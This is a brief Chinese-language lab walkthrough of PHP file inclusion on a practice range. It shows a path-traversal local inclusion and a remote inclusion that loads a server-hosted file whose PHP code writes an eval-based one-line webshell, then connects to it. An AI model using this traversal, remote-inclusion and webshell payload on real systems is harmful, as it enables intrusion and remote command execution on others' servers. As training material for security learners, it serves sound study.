本地文件包含
首先，在靶场根目录下创建一个php文件，内容是phpinfo();
其次，上传一个任意球星图片，会跳转到带有filename参数的php文件下
然后，将filename的参数改为可以访问到我们创建的php文件的地址
../../../../2.php
就可以访问到我们的phpinfo
远程文件包含
在进行远程文件包含时，要先修改两个参数
php.ini下的allow_url_include和allow_url_fopen两个参数改为On，前面的冒号也要删掉
（看自己是什么版本的PHP，要和版本对应）
进行任意图片提交
在云服务器上创建一个2.txt文件 内容是
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
就是创建一个shell.php 文件，文件内容为一句话木马
然后，将filename的参数改为我们2.txt的地址
回车后就可以在fileinclude目录下找到我们上传的shell.php文件
接下来使用连接工具进行webshell连接,成功连接